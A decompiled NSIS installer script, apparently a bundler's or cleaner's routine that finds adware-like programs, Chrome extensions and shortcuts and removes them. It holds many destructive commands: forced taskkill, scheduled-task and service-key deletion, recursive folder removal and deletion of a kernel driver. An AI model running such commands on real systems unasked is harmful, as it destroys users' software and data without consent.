IfFileExists $PROGRAMFILES\CleanBrowser\app\bin 0 label_3147
nsExec::Exec "cmd /k taskkill /IM nw.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM nw.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM nwjc.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM nwjc.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run CleanBrowser
RMDir /r /REBOOTOK $PROGRAMFILES\CleanBrowser
label_3147:
IfFileExists $APPDATA\TheismsLimb 0 label_3149
RMDir /r /REBOOTOK $APPDATA\TheismsLimb
label_3149:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\jdfonankhfnhihdcpaagpabbaoclnjfp $0
IfErrors label_3153
DeleteRegKey HKLM Software\Google\Chrome\Extensions\jdfonankhfnhihdcpaagpabbaoclnjfp
label_3153:
IfFileExists $LOCALAPPDATA\SearchGo 0 label_3165
nsExec::Exec "cmd /k taskkill /IM searchgo.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM searchgo.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"SearchGo Task$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"SearchGo Task$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\SearchGo
label_3165:
IfFileExists $LOCALAPPDATA\prestrm 0 label_3177
nsExec::Exec "cmd /k taskkill /IM prestrm.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM prestrm.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"prestrm$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"prestrm$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\prestrm
label_3177:
IfFileExists $APPDATA\ImageCenter\ImageEd 0 label_3185
nsExec::Exec "cmd /k taskkill /IM ImageCenter.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ImageCenter.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ImageEd
RMDir /r /REBOOTOK $APPDATA\ImageCenter
label_3185:
IfFileExists $APPDATA\IObit 0 label_3187
RMDir /r /REBOOTOK $APPDATA\IObit
label_3187:
ClearErrors
ReadRegStr $2 HKCU Software\Microsoft\Windows\CurrentVersion\Uninstall\PriceFountain UninstallString
IfErrors label_3201
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_3201
RMDir /r /REBOOTOK $2
label_3201:
IfFileExists $PROGRAMFILES64\ByteFence 0 label_3224
nsExec::Exec "cmd /k taskkill /IM ByteFence.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ByteFence.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM rtop_svc.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM rtop_svc.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"ByteFence$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"ByteFence$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"ByteFence Scan$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"ByteFence Scan$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
DeleteRegKey HKLM SYSTEM\ControlSet001\services\rtop
RMDir /r /REBOOTOK $PROGRAMFILES64\ByteFence
label_3224:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\bejnpnkhfgfkcpgikiinojlmdcjimobi $0
IfErrors label_3228
DeleteRegKey HKLM Software\Google\Chrome\Extensions\bejnpnkhfgfkcpgikiinojlmdcjimobi
label_3228:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\geidjeefddhgefeplhdlegoldlgiodon $0
IfErrors label_3232
DeleteRegKey HKLM Software\Google\Chrome\Extensions\geidjeefddhgefeplhdlegoldlgiodon
label_3232:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\pjfkgjlnocfakoheoapicnknoglipapd $0
IfErrors label_3236
DeleteRegKey HKLM Software\Google\Chrome\Extensions\pjfkgjlnocfakoheoapicnknoglipapd
label_3236:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\pfigaoamnncijbgomifamkmkidnnlikl $0
IfErrors label_3240
DeleteRegKey HKLM Software\Google\Chrome\Extensions\pfigaoamnncijbgomifamkmkidnnlikl
label_3240:
IfFileExists $LOCALAPPDATA\FlaggingsPlatesful 0 label_3242
RMDir /r /REBOOTOK $LOCALAPPDATA\FlaggingsPlatesful
label_3242:
IfFileExists $LOCALAPPDATA\JamboreesAwol 0 label_3244
RMDir /r /REBOOTOK $LOCALAPPDATA\JamboreesAwol
label_3244:
IfFileExists $APPDATA\CenterPicture\CenterPicture.exe 0 label_3256
nsExec::Exec "cmd /k taskkill /IM CenterPicture.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM CenterPicture.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"CenterPicture$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"CenterPicture$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\CenterPicture
label_3256:
IfFileExists $LOCALAPPDATA\OmeletsBefool 0 label_3258
RMDir /r /REBOOTOK $LOCALAPPDATA\OmeletsBefool
label_3258:
IfFileExists $LOCALAPPDATA\BiggishBlanch 0 label_3260
RMDir /r /REBOOTOK $LOCALAPPDATA\BiggishBlanch
label_3260:
IfFileExists $PROGRAMFILES\Booking.com 0 label_3292
nsExec::Exec "cmd /k taskkill /IM Booking_helper.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Booking_helper.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Booking.com.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Booking.com.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM wow_helper.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM wow_helper.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"booking.com Sat1$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"booking.com Sat1$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"booking.com Sat2$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"booking.com Sat2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Booking_helper$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Booking_helper$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $PROGRAMFILES\Booking.com
label_3292:
IfFileExists $APPDATA\Booking_helper 0 label_3294
RMDir /r /REBOOTOK $APPDATA\Booking_helper
label_3294:
IfFileExists $APPDATA\GoldenGate 0 label_3296
RMDir /r /REBOOTOK $APPDATA\GoldenGate
label_3296:
IfFileExists $LOCALAPPDATA\CongasNecessariness 0 label_3298
RMDir /r /REBOOTOK $LOCALAPPDATA\CongasNecessariness
label_3298:
IfFileExists $LOCALAPPDATA\MinimsPunkin 0 label_3300
RMDir /r /REBOOTOK $LOCALAPPDATA\MinimsPunkin
label_3300:
IfFileExists $LOCALAPPDATA\nethost 0 label_3312
nsExec::Exec "cmd /k taskkill /IM nethost.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM nethost.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"nethost$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"nethost$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\nethost
label_3312:
IfFileExists $LOCALAPPDATA\sysnet 0 label_3324
nsExec::Exec "cmd /k taskkill /IM sysnet.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM sysnet.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"sysnet$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"sysnet$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\sysnet
label_3324:
IfFileExists $LOCALAPPDATA\syslog 0 label_3336
nsExec::Exec "cmd /k taskkill /IM syslog.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM syslog.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"syslog$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"syslog$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\syslog
label_3336:
ClearErrors
EnumRegKey $0 HKCU Software\Microsoft\Startlink\2inf_startlink $0
IfErrors label_3360
StrCpy $0 0
label_3340:
EnumRegKey $1 HKLM SOFTWARE $0
StrCmp $1 "" label_3360
IntOp $0 $0 + 1
ClearErrors
ReadRegStr $2 HKLM SOFTWARE\$1 c
IfErrors label_3340
IfFileExists $LOCALAPPDATA\$1\$1.exe 0 label_3340
nsExec::Exec "cmd /k taskkill /IM $\"$1.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"$1.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"$1$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"$1$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Delete /REBOOTOK $LOCALAPPDATA\$1\$1.exe
StrCpy $0 0
Goto label_3340
label_3360:
IfFileExists $LOCALAPPDATA\ComDev 0 label_3372
nsExec::Exec "cmd /k taskkill /IM ComDev.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ComDev.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"ComDev$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"ComDev$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\ComDev
label_3372:
IfFileExists $LOCALAPPDATA\ScriptWriter 0 label_3384
nsExec::Exec "cmd /k taskkill /IM ScriptWriter.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ScriptWriter.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"ScriptWriter$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"ScriptWriter$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\ScriptWriter
label_3384:
IfFileExists $LOCALAPPDATA\PowerMonitor 0 label_3396
nsExec::Exec "cmd /k taskkill /IM PowerMonitor.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM PowerMonitor.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"PowerMonitor$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"PowerMonitor$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\PowerMonitor
label_3396:
IfFileExists $LOCALAPPDATA\FileSystemDriver 0 label_3408
nsExec::Exec "cmd /k taskkill /IM FileSystemDriver.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM FileSystemDriver.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"FileSystemDriver$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"FileSystemDriver$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\FileSystemDriver
label_3408:
IfFileExists $LOCALAPPDATA\svshost 0 label_3420
nsExec::Exec "cmd /k taskkill /IM svshost.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM svshost.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"svshost$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"svshost$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\svshost
label_3420:
IfFileExists $LOCALAPPDATA\InterplayIntelligent 0 label_3422
RMDir /r /REBOOTOK $LOCALAPPDATA\InterplayIntelligent
label_3422:
IfFileExists $LOCALAPPDATA\DigitalisFossilize 0 label_3424
RMDir /r /REBOOTOK $LOCALAPPDATA\DigitalisFossilize
label_3424:
IfFileExists $LOCALAPPDATA\MasterpiecesSlitting 0 label_3426
RMDir /r /REBOOTOK $LOCALAPPDATA\MasterpiecesSlitting
label_3426:
IfFileExists $LOCALAPPDATA\YaNews 0 label_3439
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run YaNews
nsExec::Exec "cmd /k taskkill /IM stub.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM stub.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM launcher.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM launcher.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\YaNews
label_3439:
IfFileExists "$DESKTOP\Star Conflict.lnk" 0 label_3441
Delete "$DESKTOP\Star Conflict.lnk"
label_3441:
IfFileExists $LOCALAPPDATA\JoysUncleaned 0 label_3443
RMDir /r /REBOOTOK $LOCALAPPDATA\JoysUncleaned
label_3443:
IfFileExists $LOCALAPPDATA\PegboardUpwelling 0 label_3445
RMDir /r /REBOOTOK $LOCALAPPDATA\PegboardUpwelling
label_3445:
IfFileExists $PROGRAMFILES\HpDef 0 label_3448
DeleteRegKey HKLM SYSTEM\ControlSet001\services\HSystem
RMDir /r /REBOOTOK $PROGRAMFILES\HpDef
label_3448:
IfFileExists $APPDATA\OpLinks 0 label_3450
RMDir /r /REBOOTOK $APPDATA\OpLinks
label_3450:
IfFileExists $LOCALAPPDATA\HasheeshesDiadic 0 label_3452
RMDir /r /REBOOTOK $LOCALAPPDATA\HasheeshesDiadic
label_3452:
IfFileExists $LOCALAPPDATA\PreachierOffhanded 0 label_3454
RMDir /r /REBOOTOK $LOCALAPPDATA\PreachierOffhanded
label_3454:
IfFileExists $DESKTOP\Panzar.lnk 0 label_3456
Delete $DESKTOP\Panzar.lnk
label_3456:
IfFileExists "$DESKTOP\Point Blank.lnk" 0 label_3458
Delete "$DESKTOP\Point Blank.lnk"
label_3458:
IfFileExists $APPDATA\PriceFountainUpdateVer 0 label_3470
nsExec::Exec "cmd /k taskkill /IM UpdateTask.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM UpdateTask.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"PriceFountainUpdateVer$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"PriceFountainUpdateVer$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\PriceFountainUpdateVer
label_3470:
IfFileExists $APPDATA\YSearcher 0 label_3477
nsExec::Exec "cmd /k taskkill /IM YSearcher.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM YSearcher.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\YSearcher
label_3477:
IfFileExists $LOCALAPPDATA\CalibrationWorthless 0 label_3479
RMDir /r /REBOOTOK $LOCALAPPDATA\CalibrationWorthless
label_3479:
IfFileExists $LOCALAPPDATA\ArchaizeDrupe 0 label_3481
RMDir /r /REBOOTOK $LOCALAPPDATA\ArchaizeDrupe
label_3481:
IfFileExists $APPDATA\TextEditor\Daemon 0 label_3490
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run TextEditor
nsExec::Exec "cmd /k taskkill /IM TextEditor.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM TextEditor.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\TextEditor
Delete $DESKTOP\TextEditor.lnk
label_3490:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\bhjcgomkanpkpblokebecknhahgkcmoo $0
IfErrors label_3494
DeleteRegKey HKLM Software\Google\Chrome\Extensions\bhjcgomkanpkpblokebecknhahgkcmoo
label_3494:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ablpcikjmhamjanpibkccdmpoekjigja $0
IfErrors label_3498
DeleteRegKey HKLM Software\Google\Chrome\Extensions\ablpcikjmhamjanpibkccdmpoekjigja
label_3498:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\gbjeiekahklbgbfccohipinhgaadijad $0
IfErrors label_3502
DeleteRegKey HKLM Software\Google\Chrome\Extensions\gbjeiekahklbgbfccohipinhgaadijad
label_3502:
IfFileExists "$APPDATA\User Pinned\TaskBar\Booking.lnk" 0 label_3504
Delete /REBOOTOK "$APPDATA\User Pinned\TaskBar\Booking.lnk"
label_3504:
IfFileExists "$APPDATA\Booking .lnk" 0 label_3506
Delete /REBOOTOK "$APPDATA\Booking .lnk"
label_3506:
IfFileExists $DESKTOP\Booking.URL 0 label_3508
Delete $DESKTOP\Booking.URL
label_3508:
IfFileExists $LOCALAPPDATA\ContradictivePrudes 0 label_3510
RMDir /r /REBOOTOK $LOCALAPPDATA\ContradictivePrudes
label_3510:
IfFileExists $LOCALAPPDATA\GobbledegookReconfigure 0 label_3512
RMDir /r /REBOOTOK $LOCALAPPDATA\GobbledegookReconfigure
label_3512:
IfFileExists $PROGRAMFILES64\ContentProtector 0 label_3526
nsExec::Exec "cmd /k taskkill /IM ContentProtector.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ContentProtector.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM ContentProtectorUpdate.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ContentProtectorUpdate.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ContentProtector
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ContentProtectorUpdate
RMDir /r /REBOOTOK $PROGRAMFILES64\ContentProtector
label_3526:
IfFileExists $PROGRAMFILES64\WajaNetEn 0 label_3529
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\WajaNetEn Monitor"
RMDir /r /REBOOTOK $PROGRAMFILES64\WajaNetEn
label_3529:
IfFileExists $PROGRAMFILES\HDefsoft 0 label_3532
DeleteRegKey HKLM SYSTEM\ControlSet001\services\HSystem
RMDir /r /REBOOTOK $PROGRAMFILES\HDefsoft
label_3532:
IfFileExists $LOCALAPPDATA\ImaginersGlares 0 label_3534
RMDir /r /REBOOTOK $LOCALAPPDATA\ImaginersGlares
label_3534:
IfFileExists $PROGRAMFILES\ContentProtector 0 label_3548
nsExec::Exec "cmd /k taskkill /IM ContentProtector.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ContentProtector.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM ContentProtectorUpdate.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ContentProtectorUpdate.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ContentProtector
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ContentProtectorUpdate
RMDir /r /REBOOTOK $PROGRAMFILES\ContentProtector
label_3548:
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\ContentProtectorDrv.sys 0 label_3556
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ContentProtectorDrv
Delete /REBOOTOK $SYSDIR\drivers\ContentProtectorDrv.sys
label_3556:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\ContentProtectorDrv.sys 0 label_3564
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ContentProtectorDrv
Delete /REBOOTOK $SYSDIR\drivers\ContentProtectorDrv.sys
label_3564:
IfFileExists $LOCALAPPDATA\IntroversionForerunners 0 label_3566
RMDir /r /REBOOTOK $LOCALAPPDATA\IntroversionForerunners
label_3566:
IfFileExists $LOCALAPPDATA\SaveYouTime 0 label_3579
nsExec::Exec "cmd /k taskkill /IM launcher.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM launcher.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM stub.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM stub.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SaveYouTime
RMDir /r /REBOOTOK $LOCALAPPDATA\SaveYouTime
label_3579:
IfFileExists $PROGRAMFILES\WajaNetEn 0 label_3582
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\WajaNetEn Monitor"
RMDir /r /REBOOTOK $PROGRAMFILES\WajaNetEn
label_3582:
IfFileExists $PROGRAMFILES\AdBlocker 0 label_3590
nsExec::Exec "cmd /k taskkill /IM Service.WinServiceHost.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Service.WinServiceHost.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\AdBlockerService
RMDir /r /REBOOTOK $PROGRAMFILES\AdBlocker
label_3590:
IfFileExists $LOCALAPPDATA\LobotomizeOverrank 0 label_3592
RMDir /r /REBOOTOK $LOCALAPPDATA\LobotomizeOverrank
label_3592:
IfFileExists $LOCALAPPDATA\DemotionDactylus 0 label_3594
RMDir /r /REBOOTOK $LOCALAPPDATA\DemotionDactylus
label_3594:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\necfmkplpminfjagblfabggomdpaakan $0
IfErrors label_3598
DeleteRegKey HKLM Software\Google\Chrome\Extensions\necfmkplpminfjagblfabggomdpaakan
label_3598:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\gdljkkmghdkckhaogaemgbgdfophkfco $0
IfErrors label_3602
DeleteRegKey HKLM Software\Google\Chrome\Extensions\gdljkkmghdkckhaogaemgbgdfophkfco
label_3602:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\fdjdjkkjoiomafnihnobkinnfjnnlhdg $0
IfErrors label_3606
DeleteRegKey HKLM Software\Google\Chrome\Extensions\fdjdjkkjoiomafnihnobkinnfjnnlhdg
label_3606:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\dkekdlkmdpipihonapoleopfekmapadh $0
IfErrors label_3610
DeleteRegKey HKLM Software\Google\Chrome\Extensions\dkekdlkmdpipihonapoleopfekmapadh
label_3610:
IfFileExists "$APPDATA\User Pinned\TaskBar\Aliexpress.lnk" 0 label_3612
Delete /REBOOTOK "$APPDATA\User Pinned\TaskBar\Aliexpress.lnk"
label_3612:
IfFileExists "$APPDATA\Aliexpress .lnk" 0 label_3614
Delete /REBOOTOK "$APPDATA\Aliexpress .lnk"
label_3614:
IfFileExists $LOCALAPPDATA\DwellsSeismometric 0 label_3616
RMDir /r /REBOOTOK $LOCALAPPDATA\DwellsSeismometric
label_3616:
IfFileExists $LOCALAPPDATA\TangentiallyMowers 0 label_3618
RMDir /r /REBOOTOK $LOCALAPPDATA\TangentiallyMowers
label_3618:
IfFileExists $DESKTOP\Aliexpress.URL 0 label_3620
Delete $DESKTOP\Aliexpress.URL
label_3620:
IfFileExists $LOCALAPPDATA\CrutchBubbled 0 label_3622
RMDir /r /REBOOTOK $LOCALAPPDATA\CrutchBubbled
label_3622:
IfFileExists $APPDATA\istartpageing 0 label_3624
RMDir /r /REBOOTOK $APPDATA\istartpageing
label_3624:
